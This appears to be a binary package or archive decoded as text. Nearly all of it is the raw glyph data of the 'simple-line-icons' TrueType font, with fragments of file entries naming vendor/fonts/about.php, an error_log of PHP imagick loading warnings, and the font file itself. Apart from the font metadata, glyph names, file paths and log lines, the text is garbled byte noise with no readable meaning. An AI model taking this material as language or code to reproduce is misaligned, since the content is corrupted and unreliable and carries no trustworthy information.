@ !>, >% &&%>  >B BB  Bt.F%"1"&'.#'.54762&'&!"&= 547>  ;^~a %(JF@:4.+7NdO>*V M  -dN> X  T  ")2hl, %1,c t&?721267>37>54'&"67>326= 54.'&" %Ja\% a%+7+\hW3V+x[ M  >8C0! X  T  2hl, &93!c2E"   .W&'76'.+"2732?>5&#"&'&'"/.67&'&>?>7?  )J^O#$%%-&i&v !eJ u +.,f5-  w?u   !$fi/&k&.%%z KE:X%#  b. !" #!FG  v/9#!#"&54632265!".54>754>32.#"!?*I+A] 7N8@ sؕ  ^ABrd ~ +H+]A  '77'D {g?  ? j}KwR,_"*2#54.+"#";3!26732>54&%4;2##!"'!",  ,J''K,  +rI(!W"*W$$  W W'5=4&#!"27654 >26:;!2"32654."&462. 7 6C}K5K";#5K";5&&5% R .  }9$ AK5#;"K5#;"%6%%6  "*3@GOWa  >&'#&'#".5463262&"'#6764>73#&.'3"'5275673>54'3쉉쉉6`M:";@qO4X4qO4X4 @ ?!@/-; @l "; @ !? @;"Vy0 쉉6:M`6;"Pp3Y4Oq4X /Y)g "q l;"";HyWX  "<"'Qy ;>750&174'&#"1'";76 74&+0137326=.+>4&'.5.'#".#"37032765'03326754&##'"0"32>5'264'                n       A                          $Hk5.+"&"&370;27>5'03;2>=.'64&"74&+"21&+'767;2675#7477=4&'#0+"0#;265'>764'                     n       e                   4     )*O7'!)2?025764/#5'."#!! #5'./26?025764'(N Lf0! Ms'yM 7@FsvE@@v F8Es=%!!7'!"3!2653>3232>?'&"*#"A%@&@A u   t   >&%=~vu  t6>FN"%654&'%32654.".#"3273264&2"&4"&462"&462`'CZD'B^+JVJ+R=#B^^BM0+J+B^^jP88P8P88P8P88P8#  #^B+J++J+^^= +J+^^8P88P8P88Ph8P88P!1<7>767'72>767'"2>54."&4632.'"&"#"232?>=>7>7>7>&'&'&'./732>767>7676 3)''%&'>R2/ 5K";F;"  '5%%  ,.CAM#\G   u  9H' w%rI-.f%&HjQ D  H# 4.".54>2'35#"3467>32347>7>7654&쉉hQQhInS-GxxGGxPP. J  &(M %UQоQ?-TnI[xGGxyGQ C!, ) .$,8# +*3FN'8="32#"&54&"32>54.4&#"3!276'!>7@Sd9AnTvс1^TM@4$r\wG @ ƍc7676'&&'&'?53?53?53?53?53?53?53?573?573?573?573?53?573?573?5?3? 5?3?5?3??h>&'&'6?>329E7PAr;2,v#*41+"! 0&(1'#7Eq=A@2 ,. z.$* +".2 4'( &%0B)!7'!"3!265&#"327676776'&677632 A&&%@+49-I7 b2]}T1$  >&%%=)-J6 ,356qv(0IX414'.#".#"32>54'%&#"3265&".54>320%".54>32  :IhhI0Q0 1?Ih0A$Ih 0+5 1$ 4 /AA TxT&C' T<6&T<%  %2<2g!2 &&#"265<'2676'&".54632U6I;/$qp   $< J6( J}9 ;)(1B^^B+$<  #:A"Y32654&+"46;2+".5%"+".=4&";#"3!264&+532>=4.CWYA ;+[8''31)+ gi_&>+      )GJ5! XD}Fa->"CY+<;,)3* -0;5  ``/K~S %[I!";2>4.+"&54>3%2#!7>/.112?6&/!2>54'&%%  y 2  mL   M#Z%&   Ew sE@'I!264&#!764'.327>4.'!"354>3!2#!"&=#3!2>54'&u*t   %@  .@%  #t   %  % 'D32?'&"!"3!!"354>3!2#!"&=#3!2654'&   s  j6A  A&@%#+ t   %%'+7GS#";26=4&!"3!264&#";26=4&!"3!264&#";26=4&!264&#!"`@  @ s`   s@  @ s`   s@  @   `  @  @   @  @    @  @ `>".'.'&'.54763267>32632%32>76'&673>74.1.>7>5&'.'&>7>5.#*#".'&7>&'.#"alyAO\  1 TI    &  @;I />,x)CX6 %$66   Mf @  /8T+N̯ td.@4,%/1 7+!n !           .nd  $N,-Y30C .#">?;2>5!;265327>'#4&#!"#4'    , +   a` -! @  - D@  p#'7;KO!"&5463!2!!!"&5463!2!!!"&5463!2!!!"&5463!2!!%%@%%@%%@%%@%%@%%@%%@%%@@%@%%%%@%%%%@%%%%@%%%="&#"'.#"&#"2654'7326732>5<173264B/ - %!//B/    !//! M+%/B//! K   /B,H[y4&"265>54.1"&463124&"26=>54&1".54631254&#"265>54&1".546312*66**6 *%%%#*66* 6J  %%#  *66*#6J  %%#<d  EXE  d E,  &4&&'$  EXE  !,E  &&'<   EXE  $ ),E  &&'92#""&'.67#"&'&7&'&7.567&76&'&'.#"#123272327>7654./ O\  1 TI)7 >;I (/>, !:dM   %      Mf! /8T+O̯)"td.@4,'&/1 7+!n !<         H)  Jf-Y3 %"3276&ws F  YXik %{l0"%4'&#"4&"326532765 !    !% A  @   A%E;4 5'2%>32#"&'%#"'.54676>"*      " t7% % : : O "3267654.'.# !!   AA%%$ `(,#";2654&#3%#";2>54.#3  .    ) @   @@ @    @E;7 57"%.#"327%327>4.'.#  )    t7 ))   ::0$'"&'&#"3267672654'&  !  *  %*  A~A!5EUl~!54&"!54&"!"3!2654.!!26=!26=!326=4&+"326=4&+"'#";26=4.#";26=4.!#";26=4.#";26=4.%%@  @  @  @ @  @  @  @  @  @  @  @  `@  @@  @%&     @  @  @  @  @  @  @  @  @  @  @  @ b5Bm"#326=#056=4>7>54."&=3267#".'54'&/.54632a] "(I0GX  -AM\2-2)703 "? 7yPL`b$@4)' 6]0J)ZI]6#%%0;"1]NC.@5.+,/4%(()14 !!*3{OP/&#'7;#";2654&#3#";2654&#3#";2654&#3  - -  -   @~ >   >> @   @ 5.  64>2".%264/26?326쉉GyxGGxyt   u 5쉉쉉xGGxxGGx!ht   v  7  >&".54>2!"3!32?'&쉉쉉InS-GxxGGx= tjv  쉉-TnI[xGGxyG tu   :  >&".54>2!764&"327>4&/!264&쉉쉉InS-GxxGGxt   vj쉉-TnI[xGGxyGt    u 9 >. ".4>2'."764&"4&#"쉉8GyxGGxyft   u  K쉉쉉䶦xGGxxGGx!t  vj  "  >&47#".>32쉉쉉nxInS-=RInS-쉉o-Tnx49-SnIE2+"&/>575'.546%"32323>73:32>54'&'&xxy # , #U^xHpf3 .jC z$@VV 4-+PWghc4AX 84ghlo_!*N22326?'&#*#!'463%"54.#!"3!26=327654'&~"    ''<''{7x  }<  '''}? `+3;#'!#"3!2>54.!.546737!32 "264"&462MMB9 I,.M:9 ^^^4+&:-*$   a ^^^ 9  >&".54>2'&"276764'&쉉쉉InS-GxxGGxqԇ    ? 쉉-TnI[xGGxyG|҇  A    1  >&".54>24&"01264'쉉쉉InS-GxxGGx;   쉉-TnI[xGGxyG3      >  >&".54>2&"'&"2?27>&/76쉉쉉InS-GxxGGxc      쉉-TnI[xGGxyGm    ~Ai.#";2>54&+"&546?'#4632+"3>54&&"4.#"'.12?0576'"j CVX >[J5v4;f> !'2   :b>#FDtv[f{M^  dD<` w:e:73-!  5Uf5m NB L~=].#";2654.+"&546?'#4>32+";>54&5'&"6?265?64'"j[SCVX\ \>[J5@xN4Z,U5I  I:_; tDF[fSY{M^  dD<` N|GY8iF5Uf5mLBNp !"3!265!3!!0%%`%@`%%% _ "364&'&#!"3!265<%! 6!".5367 A7 H(@%+p@PQW  6 (HD, X U6,_!Xe"32>54&".54>32%4&54&04'&$#"01032>72<614561654&"&'>32'G33G'5X3pP"<##/5KJDkơ.EkŠ-??\*?3GNH33X5Oq#;#/#K55LNiMiڕ@]@)H".#"326563232>?#".'.#"632327%E2=9T/%F0&  @KDyKh5-Y?2 ;=\cm"(FK*IBCP!96%,P)lla   *$   !`@   = 10P!!!7!"3!2654&#!cN %%%% M@%`%%@%&E27>32#"''.547>7"127764'.#"&# Ik.-!  YDEE  # E L/;d)+--+ QecDObXX,c;5u5~cNj-. DEFh# bE@&)+pqp+ YpnJXW,+F6|"6I%#=4&+";#";264&264&""2>54.".54>2@  @   h6%%6%~^4QоQ4^~InS-GxxGGx %6%%6;4^~ShQQhS~^s-TnI[xGGxyGP0;""3264/727>&/7>532654'&".5462"A82(E    S  QlwXUs=g<'29A!kP    S  GxzUQ'.#7&6?>32#"'326?6'&    } *xT*~*<2*.V=~=z=.L)V=02  >/.#"3!2654&#!"&5463!2"26=654 7H llc 65KK5@5KK &&@&6%  ?JQ,RQ6  6lkj:K55KK55K%&&@&%i  i%&654."327264%".4>2]kٸkkmq6 \ZZZ!.:BL 9omkkڸkb [[[['LB;.!*F654.#"327>764%".4>2"#54&"#";26=3264&aBoUqooqv  `^^_ba   tUpBoog ____fe    *6654.#"327>764%".4>2"!"3!264&aBoUqooqv  `^^_ba @  tUpBoog ____feI"'&47>.7>'.767>&'&&'&47676"C477?,sv2 FM  54 NZ#%%(,&  X)*0(& ,78E0477b-(1)-2jG2  63!" #%h%'   o((%d,8 ""3276'"' &'.' E $  X' k $ $8  :  >&".54>2#54&"#";26=3264&쉉쉉InS-GxxGGx   쉉-TnI[xGGxyG    3CN";2754'&&/.54>32"2654."&462Nh? 7>.32>762654&"  zxgY* &7G)  b"2g-h  9gBAL,RF8 .iYK%Zh `  68v%41'..'.'&7>7>.;?17>'.'&'7>/."0121?>/327>76'&\ ;4[HH0 %0;"   Os(+ZQ  +Z P   \;*'$! H0`C Np6M=\ 6M/$A8.)STNSu* MKSu(M \"%Hr# (T/I"?4037>76/01'.01.54>327>54'&'&^|Jpv\   _ 7gc@kQmkTL Xato%J|^v́ /  N WngQl?kl_9 Bn~h'&'7>&/../.+"'.6?;2>?67?6&/6?>=4'&./#&/./#'6?'&/&'52>3?6?'.5776?6730763$"32>54"&462R ,  -  H  &@!J !" ./R'&S /.4J "@H4-, S&) w  ?*i!#:"!i*A  u y  A* k!";#!g*?  w qqO(G4jKKjK!J" - .T'&R /  -.N%@"N.-/R&S .-.J"@'}!  h *C wv C)m";#l *D t y  B)i  #pp4G'PKjKKj  @%7'%7"232?327>'76'.'%'.9..8u$ t  -  -  t s.--.+0') &  }} & )'-A"'&"2?27>./732>4.".54>32pmk^      pQk@@k |[5Z\-XJ>+5Zkmp    a@kk? 5Z}D\Z,>JW.D}Z2E4&'&+%"7&#"32>54';2>50&1#".54>32   omk?kRlkb  Z[E|[5Z\7fS>"   ]kmQl?kmq '[Z5Z}D[Z"?Rg(.38A#.'54&"#";26=>73264&!>!.!a nj\`a  a nj a O}qS q%G<4& b  b`\ b  b njK}O qS&454'&k)::)j@ ?tu   &0(  7>5&%&+".5'4>;27%4.'&327>&3267>4&>j)::)j@  ? t  t A#@' &/0&  7>'&'"'&'&/76765.'#"9M(X:A YqUg(' .'%$/HsO 8!!?\Z-% "@Nz /I !X*& 6P P,,* @%$ J(P2 +^[@#C 6a*;J!5.5463!2#!"#!"'.5463!#!"'.45463!2oo  o  &&  & 'H`%54?>760+"#&'.'.0.'4'54?67>;030&'&'5065>76@*/H 5''7 A*6& L'8 A*0I B*0I @+=1,'94& +=*M4' +=4, +=4,A?$Fa#"'&#.'&67>7;0%32"#"&#&'.'50765>76%303#"/.'&>76&1, '94&/1,M)|+=4, +=B&/H 5' '7  1.I L+A*0I B*#462 62"'.   +  $ <  + 2 "'&47 8  &   8>   "&47 .6762 >    ?  & 627 264'&"    +  $  C   $G2e|%#"&'&7>3!2+'37>;2>54.#!"#"&?>3>;2>54'.>+##"'.457>;2'32676'.+? / Ld{2@Z3: ; 8,'+=%   8 #?/) T  '60Cg=8 ': ' ^7 )HN>0  Ei %u_!MSM=$ ; *034.#9'P  { '49;6f% 7L-(^dQ4 c  !#@2?;+3%'KS[e  '&'.'&'&767>767  76767676'&'&'&'264&"2"&4$#"&5462QE64LL46EQQE64LL46EVT6.HH.6T T6.HH.6Өwww_ؘؘP$##2L46EQQE64LL46EQQE64L?H.6TT6.HH.6T T6.HwwwXؘػ2##$:\mq}#"&54.#"+"&'&70<6<&5&6;2632#'34&#"+"'&75#347>32#"&546;2'3#7#"&4632'";2>5.   &    @a} ofh: !*;   M>PR?=PQ=)32')0* O!.    4PjnoZB  9 5LzV 8o2C' (K65 r   5=UMuLK;;M-%$.%%-yc.#"7>'./.7>7632"#"&'&7>'.#"7>767>77>7'.67>32327>?>'..7>7632#"&/&>7>w͛!#|E8   sP Sg  " 8$  %     &>\@i@"   >2  02p)&# 3( k0hG&3 " as:nZ+BKd[L  B 2#0 &19:).1XAT( ,jA/ IkA%J<   'L''> )Ugw !#&(U yCcvLg ,4EW 2sH?/nA]"'.>7&467666767672'&'&/.''.?67.'&>"'.767676'&5&'.'&>76#%"'&'&'.76'&'&'&767>7>"'.76&'&76&'&>"'&'&&>72#"'&676767>  /*Wd -6  ,#$$ bT /  $   TxxV <  !=9 F=    MusL    '         $Y[V;:    E D  ?O8   3C  Y  =  /   .K   G"= E:   =QBP  O" E   M(#v~6 +  $" ""  + "@.'#";267##".54>32!#"&46327&#"32654'0V2aY9a+ iRnC+8X4wuoJ~X3$ij)>I4PhZZ/7+Hwx)"n+=x%&#"'."327654'&'4.#"3267"327654.7"&'73264&#"'#"&#"3267>=>54'&&'632#"&'&47>32%&54>32%4>32#"&?,Z# S6t5$/' .- , *"h2<()>>) B%&2H\>+"  6!9 -8lQ9rr:OP9q 1     #5  '3!- /n' ( }B "'8>R> * NG35WY.+(,-0>%12( _NP*&LL&))&M[(;      #\>54.#"&#"326732654#"/#"'.'&54?'.547>327>32'.54676323267654'&#"#"'&'&#"3267656L` "BK{"0XuM IW{!S.E9SKIq  C!S.9SKI9,  C`(' (% @54'&+327+5320.+3267654&'3"+%.#"3'&632&'.'5!.'>7654'&'!!27>7>7673276?356&'%#!!%"#53#&32>7>73#".'&547673!#".'&'3y )&~p!  & ~  "    / #!7|D0)(  LbxD-+, %%,.h+7 @@p  $ n#9f  @:1J7#%̐    k!) B 16   *- :./K*C?/Ku   (=K/3'-&E1  :; 4 YY %%> 4um:2  %268  q&P6763:;2"#"'&'4&576576767623267>76&#"&76;267676#!"I'_Kf"-B ;LL)C & V':I$%!(%;  0tF 0FV%+ 0N !51H\-Z$(>2N/ HTdy+"&54>;2>54.#".'05.'"#"&54>3;:;"&5462"&54632+".54>32&"&=46322#".4>^B??, % 0C&    Mz@Y       ]   ~B], "8!   ~ ]G]@^  n    @     ;Yhr&'&'&>76'&"'.'>7>'&'.'>7> 7>32'&#" {O5b8  WD *" 8Ql & 3:`XԖ59=?D#샃t#( !Q * ''  ]$  = F   =X,*!Ft;G4h%"&'5467626=476;232>=#"&='"&=46;232>5>32/&=4.#"32>74>3275.#"#".= a :Z  qN4Y3w+=+D b    ,:G&?l@bA  pO:/$ +-IoNNo,";b    bNbOo3Y4ns++iŒb    6'F8*=i@E;  a\nPp#/92 +-3NkkM+!m    %#"&46;!2#,,XGrX,krCGKO32#!"&546;5!32#!"&546;546;5#"&5463!2+2632!!!!!!/&&&&qr&&&& ܊&&@&&v)* @@@&&&@&&&&&&@&<$&@&&&%| 4623#$    @@@ ,,Xr?76;2#"#"'&'&'#".'&"&=4&#"#"'&/";26?67632;254/&47>?&4'#:9. c8&2 n    9X  $W   bS9Y"9+,$N& T_c U  K8  j3KmG   A&)4)]l  n< # /!vj 8 X l 0]Q!   E3G%"&=46;2#5#32#!"&5463!5462!5462!!"&=!"&=!   &&&&b  &&& &@@@@   %5h2#"&'./&/56327636?67>7>"#"'.'326?>?>7>75&/&#""'&'32765.'6;2462"&264&"(a"gJ3  {N8^c #&2 Y),!j#1dc )b<` @=W/:\1' X  E!7. 5DCMnNNn!3J44J'X,%T Q_53 ( 4 @R-' ( ( PG=    jF L75?*~ +,1 G01GnNNnMJ33J4 $ L- /_ " 6 ZW "  ";simple-line-iconssimple-line-iconsline-iconsline-iconsFontForge 2.0 : simple-line-icons : 18-9-2016FontForge 2.0 : simple-line-icons : 18-9-2016simple-line-iconssimple-line-iconsVersion 1.0Version 1.0simple-line-iconssimple-line-icons      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^"_`abcdefghijklmnopqrstuvwxyz{|}~ user-femalepeople user-followuser-following user-unfollowusertrophy speedometersocial-youtubesocial-twitter social-tumblrsocial-facebooksocial-dropboxsocial-dribbbleshield screen-tabletscreen-smartphonescreen-desktopplanenotebookmustachemousemagnet magic-wand hourglass graduationghostgame-controllerfireeyeglass envelope-openenvolope-letterenergy emotsmiledisc cursor-movecrop credit-card chemistrybellbadgeanchorwalletvectorspeechpuzzleprinterpresentplaylistpinpicturemaplayershandbag globe-altglobeframe folder-altfilmfeed earphones-alt earphonesdropdrawardocs directions directiondiamondcupcompasscall-outcall-incall-end calculatorbubbles briefcase book-open basket-loadedbasketbag action-undo action-redowrenchumbrellatrashtagsupportsize-fullscreen size-actualshuffle share-altsharerocket pie-chartpencilnotemusic-tone-alt music-tone microphonelooplogoutloginlistlikehomegridgraph equalizerdislikecursor control-startcontrol-rewind control-play control-pausecontrol-forward control-endcalenderbulbchartarrow-up-circlearrow-right-circlearrow-left-circlearrow-down-circlebanbubble camrecordercameracheckclockclosecloud-download cloud-uploaddocenvolopeeyeflagfolderheartinfokeylinklock lock-open magnifier magnifier-addmagnifier-remove paper-clip paper-plane location-pinpowerrefreshreloadsettingsstar symble-female symbol-maletargetvolume-1volume-2 volume-offphonemenuoptions-verticaloptions arrow-down arrow-left arrow-rightarrow-uppaypalsocial-instagramsocial-linkedinsocial-pintarest social-github social-google social-reddit social-skypesocial-behancesocial-foursqaresocial-soundcloudsocial-spotifysocial-stumbleupon organization exclamationsocial-vkontakteevent social-steam ӈXsBZPKZGAk}|-|-vendor/fonts/about.phpnu[PKZ8זvendor/fonts/error_lognu[[04-Jul-2025 08:17:58 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 08:18:11 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 PKZ x(("vendor/fonts/Simple-Line-Icons.ttfnu[ PFFTM{` GDEF)OS/2VXXVcmap^<bgaspglyfc$head #W6hhea1$hmtx mlocaCmaxpI8 name;$post?n,[ݐK_< XsBZ\F @3 PfEd@ \HU__N?``E^0__0O0@P_`66/_Gn\@   n~x l P  d z d  x bjpj6.bLzVTnpf ( !h!""J"##`#$>%%&~'('(P)B)**l*+6+,,`,-Z.8///0R1P12 45556\67078 89P9:":;;<T>?@??@J@@AFABBlBCCD0D^DEH|HI8IIJLJKKL8MMNVNO OPPQQ\QRvRRRS"STU:VVWX@Y4Z [X[\]@^^B^^_`,a9}->7.'.'.#1"3!26=4'&546?%>56.'&'&'6767>7>312 A=5 jFuJ #5=A   %9H$  rRRr   $H      +-B ~0c9hA$H=3e  U  #U/R  RR%!>#K__K9I  RR    R(O%'>=4.#"3!26=4.'!56?>56'.=46327'>=4.#"2632#32>=4&'2-Ep:"H<023    ` q@Bm"%( +BY,8o$ 6DBp%%  j}o(>,X9&/88)p  QQ {9q "262&WV'1oDop?D=!E6#7*)W'/q# o9PFf747%>76'.=4>327'>=4.#"03!5!%#54&#"#";26=3264&@-4,1881+0/ `U<;!9HU)ET=< &@`  `   `` A $%7&# !#%9$ -@'0GB8-Ci4B0`&@`  ` `  `B]3547%>'.=4>327'>=4.""3!'%."'&"276?6&@!.4,174kA0. &<:TT=<  %4i U  q  A F$7&# 4J"9$ M6Q0G4hDDh4B0 `&@U  q  @\54."3!5!547%>76.'.=4>327'>764&"'&"2?264'TT=< &` .4Bk34kA0.=:~Z  [Z  ZZ  Z[  @4iCCi4B1 `&@A  %7!K43K"9$$4/X[  [[  [Z  [[  (Q20547%>'.=4>7"3!26=4./%>=4.#'S>(0/   .3Bj4ET=<%% <;3Pj3/99$ $ >A G%7!K4@Ci4A1 a%%a  /F'Q@(  CP[e%!"3!264&.+54&#!"#"#"3!264&+5>7>76'&&73.%#"&=!>=3>       5m\_  c]8T8f!{!1(E^4j3# &    /-7B\z  z\#!Ep)Jl 8gK,s  lJ">&'&'7>..'3264&+673276&/67327>&/>726=232>?326?#";'&327>54.>4'.&#"3265hнQq  Q5"   "##'    1G &Q*WNG0&#  #$  6T   rQ9 &&QhG3N&R+WN G0 ((&1F MWUL  P4 Fg e &&O1;LO.# ! 7>7.#".'.'>7>32%&3267%65&5 ,ZsCO*C]lA$$A 22 '( 22  "     )/"KmW(.RfM&"KnY  kl  .Eb7l   xb9:|26767#"'327.'327.=.5467&546%"&'&##"/"32>767>54'6.'&#"&P7>6;72 !;[qR  d<^ ?T',$ Eql`] g!"B4#!je5-! $D!8 @"! ;xrbJ*PME6 bA-9.SbJhSyY {9B+(_FA,+ Z?nT%0 !  2Q&l3#327#"'&5#52>57#"#";32?67>=4'&#"#"'.=326=4&+54&#  W?!F.50 )$ uu&   A ,6P/=5E(#.B %%%`' / x >jb .L.@%1  b  J+*,  ( #  %&`%% N3#"3###5354>'"#";;265326?6&+5326=454&+&FSS `"cY>1X@&&@%`&K" & b@&%Rp`` `1A5xU&`&a%%`3?&]%,048@LPT&'%&'&3267%6=457674&/7'7%7'2?%!326?7'75'7  B  >| WpY  @  Vs!  p X   S p sOb<c揑f:abOs'5A[kv"2>54.&.'4&'>7'&'632%&'>47327.>7>7#"%&'>4c.QнQ4_~m n}q'2S2^QAE5gZF*L'FoE(0   @lG);A @kA C(V-?3gO- :V=4.=2:327>?3:73&"'&"2?276'&/7>&  H8B=  !8I   ,AZLS" 96H=>,@QPIBQ:(PA'W #^'AO  Z[  [[  [Z   [[0 *3   y̅k7( 8Ehz_D#1`yp 8 =  [[ [[  [[ [[_!,8!"3!2654.#!"&5463!2"2654.#";264&@,8((8,   &&4&/  ,(88(@,`  @  @&4&&!!-9!"3!2654.#!"&5463!2"2>54#";264&,8((8,   5&"  ,(88(@,`  @  @&a#!"3!#"3!264&+5!2654&!!&&    &&`%&``& % N2&/&'&'&/&'21323::323?'&'>?32767".#*#"*#"&+*327>&16&?23267>76'4.'7>&'&   ;'#G: DC "   ~G^m<%+A qphC  I?~[   >  T  #   ~"Ln^G}G+  \ )+G"(< %@B X  Yb.   v~?  ' 1=4* N<lv!"#";#";#";#";3!2654&532654.+532>54&+532>54.+53264&+=23!7+32Q # #  !  !! !)(88X!  !!   !"  "   @@      #8(@(8@        U%".'&'.'*1"#1#"&'&7>327>7>32>323276$23210132>5#"'.'.#"#"'.#"#"'32>?>7>73:$>3    2;"5b=!#!$(!;; (%!( c )04+ *) &3+ -&!*)H'!      -&Ln  , +  #51 '.  &,!2 !$4&      '"32654&#"&54632&"26=4wwvh\]]\v5#5!#5".5332>53QFHa 9Sbt>[xF@@ifb@c4d@lC/Oh=0J'76&'&276732?2676'"'&/7>57?g3"  6 q  X1pv 'Q4g s 1    q1X P(vb0@M#32#!"&46;&5467.=#"&463!2!654.'!>5A@X[@N&@  ~  BU]ZWB   )N;/D+  %Q<=R$Ny. L\;^QVYX{0.xO  1YV\S$794*)0..9889./UBPT7>54.'&32>7>54&'732654#"'53?- !  '[%B3+   %.e>Hd  p   D  &%a%no/`(J[k"32?326?32>?>54'&'&'&"'&"'.#"#"4>2"32654.!"2654.qp  y^  ^^  `v lgEY  ^] _\ \__  & &&4& wx    #ytc   egffg1,  &  &4&& ?}&'.#"323>767>?>767>76."#".'.676767>763235#535#35#35#764&"'&"2?27>4.'3*M%ncS5 %'#+!     '%&E&21'H**E3O *#)) '+4/)+ PS:F2/.@@@@`@@@@        t cSj1()F&2 !.6*$   (.$(&!  )?.<+' ,J:W>iR+5.** Q# H)'C@ @@@@       `A{"&54>76&7>76676767632654.'&'.'&'&7'.'.    =>I    ?"(Kg$Ę #   <; *0%  &#+?#O:; I+){sEs?0  MJb*  %O$    09]HD{aG&+ZC*;5"::M" U5$8T1&U?; + @Anz44'5.#"32.#".#".#">?>3264&#"032654'>3232654&56"&4632!"&4632=  -%   !  2  :\]$ ]]B``B,I+^B``B&A-*;4n   5  <2 !125  !  \\ \\__+I,B]__!9# ;+!-0A4./.'&"3!2>5<67617632!%7 62#'.'7_R_ &    i7.0~p !%s s 7y t+.;>CK\a4././54&+'.#"3!2>5<67>?632!%7#5632#'.'7'7 eu  tj &    >7x  @U954.#*#SHHd  ; g$':  & # '  F-  3CVds&#"1".'.3272>7>."2>4.".54>22654.#"!2>54&" (,=!4(#  +/;9f<1оQQоQQInS-GxxGGx%%"O %5%%a  !       '/>  aQоQQо-SnI[xGGxxG&&' &&4& %-3GM  >&%>54.#"632$2"&4%647327#".35쉉쉉I) !cp{%6&&6&Ȫ/r&#;#amInS-ĩ/쉉aY ! 5qn "&6&&6NJ^U #;#2-SnH|'5#'&"!?64/&/&"2>?!7>/.16?>&/!'.2?241764/&!6?43764MFqsEM | N{EsvEuM vFvM|MEqs EM MvEs58;%#7>&'&"!54&"#";2;3!26=3264&w  v   ` -Rw v     @p%!"3!2654.!2!546!"&5!,8(@(8,@ M , (88(,@ @@   9)=ET'3264&+"!7654&+";3!26264&#"6264&"72#".546*5 j 5 &&&   ]BB]Bp     as  &&5%   _B]BB]_    E09b%.=4.#";265327>.".53%!*#67>=4632* 0Qr@TP & BddB l&=;8&  d6/)! % !!CyW4XY%+2 !GddG!   '+= 21.l$-2:?<%3=OY%654.#"?02327326273:36?676'.74632#".&'>7__:kVB# 7   7  ( wFowNM%6?J'NML ({8_"xZDJ`^$AVl92.!$1$7p ^"QwMN'K?5%N qC/f|%'01'&'&?3264&+'5>54&"1#";.'6?>./01'&16? 67?>462#".R   W|  +8KkL8+  |W  R 080 &5'    b <|  F-5LL5-F ~ }< c  Y̚Y e&&   !2:4.'%"#3!2654670'!#!"&5463!265"264"-, '88(@(8  ?   &5%%5& ,8'(88(     @&5%%5_!`dhl#54.'33264&#"!54&+"!&#"3273#";26=4&+5467;26=#";26=4.#53#53#53 &5B'%%$ $%%$cu   } =kL,   @@@@@@ 0\SJ=%6%  %6% J!";32?!2654.!5#!!264&#!"7!264&#!"!264&#!"%% %  Օ @   @     %%  %A  AB".'&4?>32654.#"&?>2>327>&/&63123264&#"/.#".L ";"4F -   m\:$A/ &jLl  /AA/* a?M !)1  @?   #;#K6.#* n6E/B#-&j?Kul K)A]B*  agC2*$  0<#!#";!532>54&%!!!!+5!#"543!2#";264&yy**yy!**yyr  *N* *?a96BMQUY]4.+654.#".#"#"33!26532+>!2#"&5476!5)!!)! m.9*# 1FT)*9/o%A%%@9.E'l+6= 6o+l=`3``A_` -@2$ ;A($2@.%_&&4"333b?<20@_ 'DQ!264&#!"!264&#!"4&#!"3!2%.&#"265<56764#"&4632"  @   @  @    7IOqqp I57JJ7#;!  {9 <(^^^B #:76'70633267676& 6'.'.'7'&7  !UY85@:  ,A)8^m4jb(a  %#$(\zDr jX'F7   J6(b"  '##h[yq*5!"3!2654.!5%6?25'.&'&!2>54&"&&&  u  y  &4&&p& && j[i  &&5%#'%%&#"%32654.%%% B?A 9~~~ 4  ,dfY^hc`n-D32676'4&'%&% %'%7'326764'%7'326764 %  ej_DPejUDeZDKejOD_   0%)+%2 '  ',%%$%+ '  '"-_%.+54.#"#"3!26764632!"7>;2654'5!2654'532TN1G!;S0@g:M  M#i ^[F#<)S M  M %6% @ %6% G S1FU0W@%@l@U ( Hd/?#U   I %%$II$%%$I  ^7KZ4.'&"#".321#";264&+56'4.#"32>%4>32#"& (09 an?oZ  V^]a#AWl9H_7^`H_7NNw-Nj;w"$FC>:4-  9mZn? #?C9lWA$8_G`^8^HNNw;jM. +;HQX_fo4.'&"#*#*#"32323023:63>&'654'>7'%4>73&&'676&'&'6567&.'%&'676&5467.>7">Yj}BhQ4_~ScL_4X ,J "l9D#aV 'E56?"@^R#RN8O/U%Z6eU S # It(=R4C4] U8:5J9$Lz-5 JCn]D)QhS}_4UA DG87!RZ+S~#"B MtHLx06c/45DAD62.( n-L E  7FE NSE Cp)hy(j?0P!2C#"26=3264&"#";26=4#54&";264&#";26=4&       P       0P"!'!"3!2654.%!!!5! `&&% u#O`%@@%%@   M@`@ /?O_o326=4&+"326=4&+"326=4&+"326=4&+"326=4&+"326=4&+"326=4&+"326=4&+"!"3!2654.!! @  @  @  @  @  @  @  @ @  @  @  @  @  @  @  @ -&&&        @        @&&&```9AL"3232>54."3232>54."264"&4632f  Y_2 Z~  Wr^@# Bv iii`EE0 6v  3_Z ~ܝZG #@^rW  }ɪvBojjjEaE71Xl4'.#";26=4.+"<641>32&+"54.+";7%>7>=4'6%32+"&=4>4>;2+"&5 Wa2#V$1'V zv U$1 `  `9JUV V U  U E7`wD1#22#'ypߪ 2#( Q   )    HZo4'.#";2654.+"461>32".+";2654'6%32+".546+".546;2܁2#V$1'V JvXUtL U$1U#2UV  V  t U U cE7t1#22#'[rB7!v   k%%]  )0#vbB,K5  }  &&`u(  "0``=E;( &)!"!!#3265!5%"3!265!!!'5%`%%% % %@%@%%%@@>CH'&#!54.#"!"3!!"3!265!26=4&#!5!2?>&!'7!7!5!d     dd \  ^ dGGoopGo " " @ r  q  "@ p@OQO0,1'&#!'4.#"!"3!265!26?>!!dz    a  ~ B B  >   @ !$'*-03.#!"1"1!"32676'&'#7%3!7'3 3!3 #     NE@1׌@謤\׹wE  b  )ʫ! '1=IU"'54&#!"3!26=232654'&#!"&5!"'23226=4&"26=4&"26=4&"A 4%%pPOp'OpD6";"5K 74 6JJ @&&PppP!pOY:.`#;"K5~InJ      -@327%>76&77'7"2>4.".54>2  2 